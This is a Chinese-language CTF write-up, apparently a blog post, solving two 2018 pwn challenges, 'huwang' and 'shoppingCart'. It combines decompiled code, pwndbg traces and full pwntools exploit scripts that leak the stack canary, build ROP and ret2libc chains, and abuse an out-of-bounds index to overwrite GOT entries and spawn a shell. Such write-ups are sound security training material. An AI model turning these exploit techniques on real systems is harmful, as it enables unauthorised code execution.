huwang 0x00 file && checksec 1 2 3 4 5 6 7 8 9 $ file huwang  huwang: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for  GNU/Linux 2.6.32, BuildID[sha1]=f74d9c8c7f896833ec74d4a898784772c139878a, stripped $ checksec huwang [*] '/home/.../Desktop/huwang/huwang'      Arch:     amd64-64-little     RELRO:    Full RELRO     Stack:    Canary found     NX:       NX enabled     PIE:      No PIE (0x400000) 
可以看到这是一个64bit的ELF程序,并且stripped掉了符号表。保护措施,除了PIE没有开启,也就是地址不会随机化,其他都开启了。
0x01 观察程序行为 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 $ ./huwang   _   _     __        __                ____       _  | | | |_   \ \      / /_ _ _ __   __ _| __ )  ___(_) | |_| | | | \ \ /\ / / _` | '_ \ / _` |  _ \ / _ \ |  |  _  | |_| |\ V  V / (_| | | | | (_| | |_) |  __/ | |_| |_|\__,_| \_/\_/ \__,_|_| |_|\__, |____/ \___|_|                                  |___/               ---------menu--------- 1. Add Note 2. Delete Note 3. Show Note 4. Exit command>>  3 Sorry, an unknown error has occurred! ---------menu--------- 1. Add Note 2. Delete Note 3. Show Note 4. Exit command>>  1 size:5 content:12345 Success~ ---------menu--------- 1. Add Note 2. Delete Note 3. Show Note 4. Exit command>>  invalid choice ---------menu--------- 1. Add Note 2. Delete Note 3. Show Note 4. Exit command>>  3 Sorry, an unknown error has occurred! ---------menu--------- 1. Add Note 2. Delete Note 3. Show Note 4. Exit command>>  2 index:1 ---------menu--------- 1. Add Note 2. Delete Note 3. Show Note 4. Exit command>>  4 
可以看到,不管有没有Note,选Show Note,都显示Sorry, an unknown error has occurred!其它没什么特别的。下面我们用IDA打开来看看。
0x02 IDA分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 void  __fastcall __noreturn main (__int64 a1, char  **a2, char  **a3)    int  v3;    set_timer();   banner();   while  ( 1  )   {     while  ( 1  )     {       menu();       v3 = get_option_num();                           if  ( v3 != 3  )         break ;       show_note();                                   }     if  ( v3 > 3  )     {       if  ( v3 == 4  )                                     exit (0 );       if  ( v3 == 666  )         option_666();                            LABEL_15:       puts ("invalid choice" );                        }     else  if  ( v3 == 1  )     {       add_note();                                    }     else      {       if  ( v3 != 2  )         goto  LABEL_15;       delete_note();                                 }   } } 
我们可以看到,有一个选项666,并没有在菜单中出现,我们进去看一下。后面我们可以知道,除了这个666选项有用,其他选项是没用的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 void  __noreturn option_666 ()    int  v0;    __int64 v1;    __int64 v2;    signed  int  i;    int  v4;    int  fd;    int  fda;    int  encrypt_nums;    char  result;    char  s[32 ];    char  s1;    char  name;    unsigned  __int64 v12;    v12 = __readfsqword(0x28 u);                      puts ("please input your name" );                  read(0 , &name, 0x20 uLL);                         memset (s, 0 , 0x10 uLL);   puts ("Do you want to guess the secret?" );   get_choose(&result, 2L L);   if  ( result == 'y'  )   {     if  ( access("/tmp/secret" , 0 ) == -1  )            {       HIDWORD(v1) = open("/tmp/secret" , 0x41 , 0777L L);       fd = open("/dev/urandom" , 0 );                    read(fd, s, 12u LL);                              LODWORD(v1) = 0 ;                                 while  ( (signed  int )v1 <= 11  )                   {         s[(signed  int )v1] &= 1u ;                         LODWORD(v1) = v1 + 1 ;       }       write(SHIDWORD(v1), s, 12u LL);                   close(SHIDWORD(v1));       close(fd);     }     v0 = open("/tmp/secret" , 0 , v1);                 read(v0, s, 12u LL);     close(v0);     puts ("Input how many rounds do you want to encrypt the secret:" );     encrypt_nums = get_option_num();                      if  ( encrypt_nums > 10  )     {       puts ("What? Why do you need to encrypt so many times?" );       exit (-1 );     }     if  ( !encrypt_nums )                             {       printf ("At least encrypt one time" , s);       exit (-1 );     }     HIDWORD(v2) = open("/tmp/secret" , 0x201 );        LODWORD(v2) = 0 ;     while  ( (unsigned  int )v2 < encrypt_nums )        {       MD5((__int64)s, 16L L, (__int64)s);       LODWORD(v2) = v2 + 1 ;     }     write(SHIDWORD(v2), s, 16u LL);     close(SHIDWORD(v2));     puts ("Try to guess the md5 of the secret" );     read(0 , &s1, 16u LL);                             if  ( !memcmp (&s1, s, 16u LL) )                      cmp_md5_true((__int64)&name);          v4 = open("/tmp/secret" , 0x201 , 0777L L, v2);     fda = open("/dev/urandom" , 0 );                   read(fda, s, 12u LL);     for  ( i = 0 ; i <= 11 ; ++i )       s[i] &= 1u ;     write(v4, s, 12u LL);     close(v4);     close(fda);     exit (0 );   }   printf ("Oh!bye %s\n" , &name);   exit (0 ); } 
这里我们需要了解open()函数的flags的几个相关参数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 头文件: #include  <sys/types.h>  #include  <sys/stat.h>  #include  <fcntl.h>  函数原型: int  open (const  char  *pathname, int  flags, mode_t  mode) 函数参数: *pathname:要打开的文件的路径及名称 flags:位掩码,用于指定文件的访问模式 mode:当调用open()创建新文件时,指定了文件的访问权限,若flags未包含O_CREAT标志,则可以省略mode参数 flags: 文件访问标志:O_RDONLY、O_WRONLY、O_RDWR,这三者不能同时使用,只能指定其中一种              O_RDONLY:以只读权限打开              O_WRONLY:以只写权限打开              O_RDWR:以读写权限打开 文件创建标志:这里面只说此题中用到的O_TRUNC。              O_TRUNC:如果文件已经存在且为普通文件,那么将文件内容清空,将其长度置0.  已打开文件状态标志 
  这里由于IDA显示的是多个flags选项相或的值,我们可以通过constgrep命令查看每个flags选项的的值,并进行计算,确定所用的flags选项。
  程序首先通过open()创建只写文件/tmp/secret,并赋予777权限。然后从/dev/urandom读出12个字节随机数,处理后存入/tmp/secret文件,并关闭文件。然后在执行MD5加密前,以flags:O_TRUNC(0x200)|O_WRONLY(0x01)调用open()函数,将/tmp/secret文件清空,对处理后的随机数执行MD5加密后,将MD5加密后的结果存入/tmp/secret文件。然后让我们猜加密后的MD5值,猜对了进入存在明显溢出漏洞的cmp_md5_true函数。
  我们这里需要绕过MD5值对比的验证,进入漏洞函数进行利用。对随机数进行MD5加密的次数,是由用户控制的,由于程序只判断了加密次数大于10和等于0的情况,所以这里可以通过输入-1进行绕过。当我们输入-1时,在进行加密次数判断时,v2(无符号)与encrypt_num(有符号)比较时,-1会变成一个很大的数,致使程序一直处于加密循环中,造成程序运行超时退出,时间为一分钟。导致/tmp/secret文件为空,这是我们再开一个交互,就可以预测MD5的值了,由于文件为空,所以被加密的明文为”\x00”*16,我们通过hashlib算出”\x00”*16的MD5值,即可绕过验证。
下面是一些调试过程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 1 、创建完/tmp/secret后,文件描述符值   0x4011dc     mov     eax , 0     0x4011e1     call    0x400b40 	HIDWORD(v1) = open("/tmp/secret" , 0x41 , 0777LL)    ► 0x4011e6     mov     dword  ptr  [rbp  - 0x7c ], eax     0x4011e9     mov     esi , 0     0x4011ee     mov     edi , 0x4019cd  *RAX   0x3  2 、看看程序对从/dev/unrandom读出的随机数做了什么   0x401216     mov     dword  ptr  [rbp  - 0x80 ], 0   ► 0x40121d     jmp     0x40123b  pwndbg> dq  rbp -0x80  00007fffffffdc80     0000000300000000  00007fff00000004 00007fffffffdc90     0000000000000079  0000000000000000  00007fffffffdca0     b563b8cc0cfde998 00000000f9684b16 00007fffffffdcb0     00007fffffffddf0 0000000000000000  while ( v1 <= 11  )                        // 有符号v1与0xB ,比较,小于0xB 则执行while循环,处理随机数 {   s[v1] &= 1u   LODWORD(v1) = v1 + 1  } 执行上一段代码前:s[32 ] pwndbg> db  rbp -0x60  00007fffffffdca0     98  e9 fd 0c cc b8 63  b5 16  4b 68  f9 00  00  00  00  00007fffffffdcb0     f0 dd  ff ff ff 7f 00  00  00  00  00  00  00  00  00  00  执行上一段代码后:s[32 ] pwndbg> db  rbp -0x60  00007fffffffdca0     00  01  01  00  00  00  01  01  00  01  00  01 | 00  00  00  00  00007fffffffdcb0     f0 dd  ff ff ff 7f 00  00  00  00  00  00  00  00  00  00  这段代码使读出的随机数每个字节的高7 位为0  3 、将处理后的随机数写入/tmp/secret   0x401245     mov     eax , dword  ptr  [rbp  - 0x7c ]    0x401248     mov     edx , 0xc     0x40124d     mov     rsi , rcx     0x401250     mov     edi , eax   ► 0x401252     call    0x400b38 	write(SHIDWORD(v1), s, 12uLL) pwndbg> dumpargs --force  rdi  = 0x3  /tmp/secret  rsi  = 0x7fffffffdca0  ◂— 0x101000000010100   随机数  rdx  = 0xc   rcx  = 0x7fffffffdca0  ◂— 0x101000000010100    r8  = 0x7ffff7fd3700  ◂— 0x7ffff7fd3700    r9  = 0x1999999999999999  4 、看看第二次打开/tmp/secret时的文件描述符的值   0x40126b     mov     esi , 0     0x401270     mov     edi , 0x4019c1     0x401275     mov     eax , 0   ► 0x40127a     call    0x400b40 	v0 = open("/tmp/secret" , 0 , v1) pwndbg> dumpargs --force  rdi  = 0x4019c1  ◂— '/tmp/secret'   rsi  = 0x0   rdx  = 0xc   rcx  = 0x7ffff76c08f0  (__close_nocancel+7 ) ◂— cmp     rax , -0xfff    r8  = 0x7ffff7fd3700  ◂— 0x7ffff7fd3700    r9  = 0x1999999999999999  *RAX   0x3  和第一次打开的文件描述符一样?前一个文件描述符已经关闭了 5 、看看第三次打开/tmp/secret时的文件描述符的值 ► 0x401303     call    0x400b40 	HIDWORD(v2) = open("/tmp/secret" , 0x201 )  pwndbg> dumpargs --force  rdi  = 0x4019c1  ◂— '/tmp/secret'   rsi  = 0x201   rdx  = 0x0   rcx  = 0x7fffffffdc51  ◂— 0xfa00000000000031  /* '1'  */   r8  = 0x0    r9  = 0x1999999999999999  *RAX   0x3  	依旧是3 ,因为前面两次都关闭了文件描述符 文件描述符的值始终是当前可用的最小的值,0x00 、0x01 、0x02 分别被stdin、stdout、stderr占据,所以之前没有打开的文件时,当前打开的文件的文件描述符为0x03  6 、查看保存文件描述符的变量的值   0x401308     mov     dword  ptr  [rbp  - 0x7c ], eax     0x40130b     mov     dword  ptr  [rbp  - 0x80 ], 0   ► 0x401312     jmp     0x40132d  pwndbg> dq  rbp -0x80 		v2=0x0000000300000000  00007fffffffdc80     0000000300000000  ffffffff00000004 00007fffffffdc90     0000000000000079  0000000000000000  00007fffffffdca0     0101000000010100  0000000001000100  00007fffffffdcb0     00007fffffffddf0 0000000000000000  7 、当加密次数输入为-1 时,一直处于加密循环中   0x40132d     mov     eax , dword  ptr  [rbp  - 0x80 ]   v2    0x401330     cmp     eax , dword  ptr  [rbp  - 0x74 ]   encrypt_nums  ► 0x401333   ✔ jb      0x401314 	(unsigned int )v2 < encrypt_nums pwndbg> dd  rbp -0x80 	  v2=0x00000000  00007fffffffdc80     00000000  00000003  00000004  ffffffff 00007fffffffdc90     00000079  00000000  00000000  00000000  00007fffffffdca0     00010100  01010000  01000100  00000000  00007fffffffdcb0     ffffddf0 00007fff 00000000  00000000  pwndbg> dd  rbp -0x74 	  encrypt_nums=0xffffffff  00007fffffffdc8c     ffffffff 00000079  00000000  00000000  00007fffffffdc9c     00000000  00010100  01010000  01000100  00007fffffffdcac     00000000  ffffddf0 00007fff 00000000  00007fffffffdcbc     00000000  00000000  00000000  f75ffe90 8 、canaryoption_666()  RBP   0x7fffffffdd00  —▸ 0x7fffffffdd10  —▸ 0x401510  ◂— push    r15   RSP   0x7fffffffdc80  ◂— 0x5000000  c: 0060 │ rsi   0x7fffffffdce0  ◂— 0x4141414141414141  ('AAAAAAAA' )... ↓ 0f:0078 │      0x7fffffffdcf8  ◂— 0xac2fcd3b25ae0f00  	<<canary 10 :0080 │ rbp   0x7fffffffdd00  —▸ 0x7fffffffdd10  —▸ 0x401510  ◂— push    r15 get_option_num()    0x400d47     push    rbp     0x400d48     mov     rbp , rsp     0x400d4b     sub     rsp , 0x20     0x400d4f     mov     rax , qword  ptr  fs :[0x28 ]  ► 0x400d58     mov     qword  ptr  [rbp  - 8 ], rax  03 :0018 │      0x7fffffffdc68  ◂— 0xac2fcd3b25ae0f00   <<canary04 :0020 │ rbp   0x7fffffffdc70  —▸ 0x7fffffffdd00  —▸ 0x7fffffffdd10  —▸ 0x401510  ◂— push    r15 得出一个结论,每次程序运行后,所有函数使用的canary值是一样的,以前我认为是不一样的。我没有做更多的验证,所以我也不是很确定对不对。 还有就是都是从fs :0x28 取canary。 
我们绕过了MD5验证,进入cmp_md5_true()函数看看。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 int  __fastcall cmp_md5_true (__int64 name)    char  v1;    int  v3;    char  occupation;    char  s;    unsigned  __int64 v6;    v6 = __readfsqword(0x28 u);                       printf ("Congratulations, %s guessed my secret!\n" , name);   puts ("And I want to know someting about you, and introduce you to other people who guess the secret!" );   puts ("What`s your occupation?" );   get_choose(&occupation, 255L L);   v3 = snprintf (          &s,          0xFF uLL,          "I know a new friend, his name is %s,and he is a noble %s.He is come from north and he is very handsome........."           "................................................................................................." ,          name,          &occupation);   puts ("Here is your introduce" );   puts (&s);   puts ("Do you want to edit you introduce by yourself[Y/N]" );   v1 = getchar();   getchar();   if  ( v1 == 'Y'  )     read(0 , &s, v3 - 1 );                           return  printf ("The final presentation is as follows:%s\n" , &s); } 
  当我们输入的名字长度为0x19字节时,就可以leak出canary,得到canary,我们就可以绕过canary保护机制,然后再利用ROP绕过NX,执行shellcode了。由于libc是开启PIE的,所以我们直接使用确定的函数地址,只能动态获得。我们通过调用cmp_md5_true()函数,传入参数为puts()函数的got表地址,因为之前已经调用过puts()函数了,所以可以直接打印出puts()函数的地址。然后我们就可以确定libc的基地址,从而获得system()的地址和/bin/sh的地址。获得shell。
0x03 exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 from  pwn import  *import  hashlibcontext.clear() context.binary ='./huwang'  context = {'arch' :'amd64' ,'bits' :'64' ,'endian' :'little' ,'os' :'linux' } libc = ELF('./libc.so.6' ,checksec=False ) elf = ELF('./huwang' ,checksec=False ) pop_rdi_ret = 0x401573  puts_got = elf.got['puts' ] cmp_md5_true = 0x40101C  debug = 1  def  option_666 (io,name,guess,encrypt_num,md5_ciphertext,flag) :    io.recvuntil('command>> \n' )     io.sendline('666' )     io.recvuntil('please input your name\n' )     io.send(name)     io.recvuntil('Do you want to guess the secret?\n' )     io.sendline(guess)     io.recvuntil('Input how many rounds do you want to encrypt the secret:\n' )     io.sendline(str(encrypt_num))     if  flag == 1 :         io.recvuntil('Try to guess the md5 of the secret\n' )         io.send(md5_ciphertext) def  debug_remote (ip,port,breakpoint) :    if  debug == 1 :         io = process('./huwang' ,env = {'LD_PRELOAD'  : './libc.so.6' })              else :         io = remote(ip,port)     return  io def  md5_encrypt (plaintext) :    md = hashlib.md5()     md.update(plaintext.encode())     ciphertext = md.hexdigest()     return  ciphertext.decode('hex' ) def  exploit (ip,port) :    io1 = debug_remote(ip,port,'' )     option_666(io1,'Sp4n9x' ,'y' ,-1 ,'Sp4n9x' ,0 )     io1.recvuntil('timeout~\n' )     io2 = debug_remote(ip,port,'b *0x040110D\nc' )     md5_ciphertext = md5_encrypt('\x00' *16 )     option_666(io2,'Sp4n9x' .rjust(0x19 ,'A' ),'y' ,1 ,md5_ciphertext,1 )     io2.recvuntil('Sp4n9x' .rjust(0x19 ,'A' ))          canary = u64('\x00'  + io2.recvn(7 ))     print  hex(canary)     io2.recvuntil('What`s your occupation?\n' )     io2.send('A' *0xff )     io2.recvuntil('Do you want to edit you introduce by yourself[Y/N]\n' )     io2.sendline('Y' )     '''      stack status     0x4141414141414141     ........     0x0200cf560c7a0a41 <- canary     0x0000000000000000 <- rbp     0x0000000000401573 <- pop rdi ; ret     0x0000000000602F70 <- puts_got     0x000000000040101C <- cmp_md5_true     '''     shellcode1 = 'A' *0x108  + p64(canary) + p64(0 )     shellcode1 += p64(pop_rdi_ret) + p64(puts_got) + p64(cmp_md5_true)     io2.send(shellcode1)     io2.recvuntil('Congratulations, ' )     puts_addr = u64(io2.recvn(6 ) + '\x00' *2 )     libc_base = puts_addr - libc.symbols['puts' ]     system_addr = libc_base + libc.symbols['system' ]     binsh_addr = libc_base + int(next(libc.search('/bin/sh' ),16 ))     io2.recvuntil('What`s your occupation?\n' )     io2.send('A' *0xff )     io2.recvuntil('Do you want to edit you introduce by yourself[Y/N]\n' )     io2.sendline('Y' )     '''      stack status     0x4141414141414141     ........     0x0200cf560c7a0a41 <- canary     0x0000000000000000 <- rbp     0x0000000000401573 <- pop rdi ; ret     0x0000000000602F70 <- '/bin/sh'     0x000000000040101C <- system     '''     shellcode2 = 'A' *0x108  + p64(canary) + p64(0 )     shellcode2 += p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)     io2.send(shellcode2)     io2.interactive() if  __name__ == '__main__' :    exploit('127.0.0.1' ,1000 ) 
0x04 总结 这道题前面的Note菜单有点迷惑人,让人以为是一道堆相关的题目,打开IDA分析后,发现与堆没有任何关系。主要考查的是,open()的参数flags的几个选项的作用。还有就是有符号数与无符号数进行比较会发生的错误。以及通过泄露canary的值实现栈溢出,通过ROP绕过NX保护,ret2libc获取shell。
0x00 file && checksec 1 2 3 4 5 6 7 8 9 $ file shoppingCart  shoppingCart: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3fcbc93317b6160fe21ecee679180c2a99c67685, stripped $ checksec shoppingCart  [*] '/home/...../Desktop/shoppingcart/shoppingCart'     Arch:     amd64-64-little     RELRO:    Partial RELRO     Stack:    Canary found     NX:       NX enabled     PIE:      PIE enabled 
恩,一个64bit的程序,去除了符号表,开启了全部保护。开了PIE就需要泄露地址,所以有点麻烦。
0x01 运行程序,观察程序功能 1 2 3 4 5 6 7 8 9 buffer@ubuntu64:~/Desktop/shoppingcart$ ./shoppingCart  /*** *    |)    |)    |)     *    |)L|\/|)L|\/|)L|\/  *        /     /     /  */ EMMmmm, you will be a rich man! cmskmsk EMMmmm, you will be a rich man! 
程序只是输出了一些信息,并未提示让我们输入什么。所以利用IDA静态分析一下。
0x02 IDA静态分析 mian()函数里有两个自定义函数。
1 2 3 4 5 6 7 8 __int64 __fastcall main(__int64 a1, char **a2, char **a3) {   puts("/***\n*    |)    |)    |)    \n*    |)L|\\/|)L|\\/|)L|\\/ \n*        /     /     / \n*/" )   money_menu()   goods_menu()   puts("Happy Shopping Day!\nbye~" )   return 0LL } 
一个是与money有关的函数,一个是与goods有关的函数。我们先来看看money_menu()。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 unsigned  __int64 money_menu ()    unsigned  __int64 option_num;    char  option_str;    unsigned  __int64 canary;    canary = __readfsqword(0x28 u);   while  ( 1  )   {     while  ( 1  )     {       puts ("EMMmmm, you will be a rich man!" );       fgets(&option_str, 24 , stdin );       option_num = strtoul(&option_str, 0L L, 0 );       if  ( option_num != 2  )         break ;       removemoney();                                 }     if  ( option_num == 3  )                             break ;     if  ( option_num == 1  )                             getmoney();   }   return  __readfsqword(0x28 u) ^ canary; } 
我们需要输入一个选项,来进入不同的功能。经过分析,输入2时,会执行删除money的操作,但是里面只是提示了不能删除。所以这个功能并没有什么用。输入3时跳出money_menu。输入1时执行getmoney(),所以,我们进入这个函数去看一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 int  getmoney ()   __int64 *v0;    money *money_ptr1;    money *money_ptr2;    __int64 v3;    __int64 money_num;    if  ( money_sum <= 19  )                           {     puts ("I will give you $9999, but what's the  currency type you want, RMB or Dollar?" );     money_ptr1 = malloc (16u LL);                      money_ptr2 = money_ptr1;     money_ptr1->num = 9999L L;     fgets(&money_type[8  * money_sum], 8 , stdin );     money_ptr2->money_type = &money_type[8  * money_sum];     v3 = money_sum++;     money_num = v3;     v0 = money_list;     money_list[money_num] = money_ptr2;            }   else    {     LODWORD(v0) = puts ("You already have enough money!" );   }   return  v0; } 
这里是经过优化的代码,我们看起来会比较好理解一点,原本并不是这样的。初始状态不仔细看是不容易看不出来有money和goods两个结构体的(对于新手来说),我们需要利用IDA的优化代码的功能,添加这两个结构体。具体的添加方法可以参考IDA Pro权威指南。
1 2 3 4 5 6 7 8 9 10 11 12 00000000 money           struc ; (sizeof=0x10, mappedto_6) 00000000 money_type      dq ? 00000008 num             dq ? 00000010 money           ends 00000010 00000000 ; --------------------------------------------------------------------------- 00000000 00000000 goods           struc ; (sizeof=0x10, mappedto_7) 00000000 goods_name      dq ? 00000008 num             dq ? 00000010 goods           ends 00000010 
这个函数能够在堆上最多定义20个money结构体,每个money结构体具有两个成员,money_type和num,num是固定的9999,money_type是任意的,也可以使用题目说的RMB和Dollar,并不会影响解题。结构体对象是存在堆上的,前8个字节存储money_type字符串的地址,而money_type是存储在.bss段的,并且最后也会将money结构体对象的指针存入.bss段的一个数组中,我将其命名为money_list。
我们再来看看goods_menu()函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 unsigned  __int64 goods_menu ()    unsigned  __int64 option_num;    char  option_str;    unsigned  __int64 canary;    canary = __readfsqword(0x28 u);   do    {     while  ( 1  )     {       while  ( 1  )       {         while  ( 1  )         {           puts ("Now, buy buy buy!" );           fgets(&option_str, 24 , stdin );           option_num = strtoul(&option_str, 0L L, 0 );           if  ( option_num != 2  )             break ;           delete_goods();                                }         if  ( option_num > 2  )           break ;         if  ( option_num == 1  )           add_goods();                                 }       if  ( option_num != 3  )         break ;       edit_goods();                                  }   }   while  ( option_num != 4  );   return  __readfsqword(0x28 u) ^ canary; } 
goods具有三个选项,add、delete、edit,问题出现在add_goods()函数和edit_goods()函数中。这里需要说明一下,用堆的做法,会涉及到add_goods()和edit_goods()中的两个漏洞,另一种方法只会使用到edit_goods()中用来泄露地址的漏洞。这里先说说不用堆的方法吧,用堆的方法,我暂时还没有弄清楚,我们进入edit_goods()函数看一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 unsigned  __int64 edit_goods ()    unsigned  __int64 goods_num;    __int64 v1;    char  goods_num_str;    unsigned  __int64 canary;    canary = __readfsqword(0x28 u);   puts ("Which goods you need to modify?" );   fgets(&goods_num_str, 24 , stdin );                goods_num = strtoul(&goods_num_str, 0L L, 0 );   printf ("OK, what would you like to modify %s to?\n" , *goods_list[goods_num], goods_num);   *(*goods_list[v1] + read(0 , *goods_list[v1], 8u LL)) = 0 ;   return  __readfsqword(0x28 u) ^ canary; } 
此函数中没有对输入的数据进行验证,当我们修改goods参数时,输入的goods编号为负数时,经过strtoul转换后,会造成后面打印的时候,越界读取数组,泄露地址信息。修改数据的时候会造成任意地址写。我们再来看看.bss段上数据的排布:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 .bss:0000000000202090 goods_sum       dq ?                    ; DATA XREF: add_goods+17↑r .bss:0000000000202090                                         ; add_goods+E1↑r ... .bss:0000000000202098 money_sum       dq ?                    ; DATA XREF: getmoney+8↑r .bss:0000000000202098                                         ; getmoney+53↑r ... .bss:00000000002020A0 ; char money_type[160] .bss:00000000002020A0 money_type      db 0A0h dup(?)          ; 0 .bss:00000000002020A0                                         ; DATA XREF: getmoney+62↑o .bss:00000000002020A0                                         ; getmoney+8B↑o .bss:0000000000202140 money_list      dq 14h dup(?)           ; 0 .bss:0000000000202140                                         ; DATA XREF: getmoney+B6↑o .bss:00000000002021E0 ; _QWORD goods_list[20] .bss:00000000002021E0 goods_list      dq 14h dup(?)           ; 0 .bss:00000000002021E0                                         ; DATA XREF: add_goods+FB↑o .bss:00000000002021E0                                         ; delete_check+24↑o ... 
可以看到money_type、money_list、goods_list都是相连的,通过对goods_list的越界读取,可以泄露出程序的某一处地址。说来也巧,刚好在其上面不远处有一个指向自身的指针,我们可以计算偏移,泄露出此处的地址,计算出elf文件的加载基址。这处地址在elf文件的偏移0x202068处。
1 2 .data: 0000000000202068  off_202068      dq  offset off_202068    .data: 0000000000202068                                          
0x03 exp(non-heap) 利用思路:
1、调用getmoney()获得money,这里可以只获得两个money,因为后面只用到了money_list的前两个,也可以添加满20个。
 
第二步为什么不能直接泄露puts_got的内容,就是因为第三步中所说的,泄漏的内容需要具有一个二级指针结构。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from  pwn import  *context.clear() context.binary ='./shoppingCart'  context = {'arch' :'amd64' ,'bits' :'64' ,'endian' :'little' ,'os' :'linux' } debug = 1  libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ,checksec = False ) def  getmoney (io,num) :    for  i in  range(num):         io.sendlineafter('EMMmmm, you will be a rich man!\n' ,'1' )         io.sendlineafter('RMB or Dollar?\n' ,'RMB' )     io.sendlineafter('EMMmmm, you will be a rich man!\n' ,'3' ) def  edit_goods (io,index,content,flag) :    io.sendlineafter('Now, buy buy buy!\n' ,'3' )     io.sendlineafter('Which goods you need to modify?\n' ,index)     if  flag == 1 :         io.recvuntil('OK, what would you like to modify ' )         addr = u64(io.recv(6 ).ljust(8 ,'\0' ))         return  addr     else :         io.sendline(content) if  debug:    io = process('./shoppingCart' ) else :    io = remote('127.0.0.1' ,1000 ) getmoney(io,0x14 ) addr = edit_goods(io,'-47' ,'' ,1 ) elf_base = addr - 0x202068  io.sendline(p64(addr)) puts_got = elf_base + 0x202020  money_name1 = elf_base + 0x2020a8  edit_goods(io,'-0x14' ,p64(money_name1),0 )   edit_goods(io,'-0x13' ,p64(puts_got),0 )	    puts_addr = edit_goods(io,'-0x28' ,'' ,1 ) print  "puts_addr=" +hex(puts_addr)libc_base = puts_addr - libc.symbols['puts' ] shell = p64(libc_base + 0x45216 ) io.send(shell) io.interactive() 
Reference https://laucyun.com/3411bc6f400207178b85defa04474b4a.html#directory-0146717171785671911 https://xz.aliyun.com/t/2897# https://veritas501.space/2018/10/15/%E6%8A%A4%E7%BD%91%E6%9D%AF%20pwn%20wp/ 
https://blog.csdn.net/w12315q/article/details/83119560 http://m4x.fun/post/hwb2018-pwn-writeup/ https://www.jianshu.com/p/9375c32b2159 
https://www.freebuf.com/articles/rookie/155971.html http://p4nda.top/2018/10/14/hwb-ctf-2018/ https://blog.csdn.net/qq_38204481/article/details/83216384 http://transparentsite.top/2018/10/%E6%8A%A4%E7%BD%91%E6%9D%AFpwn-shoppingcart/ https://www.jianshu.com/p/b96e90ff6f72 https://waterdrop-team.github.io/2018/10/13/hwb-2018-writeup/ http://blog.leanote.com/cate/xp0int/%E6%8A%A4%E7%BD%91%E6%9D%AF2018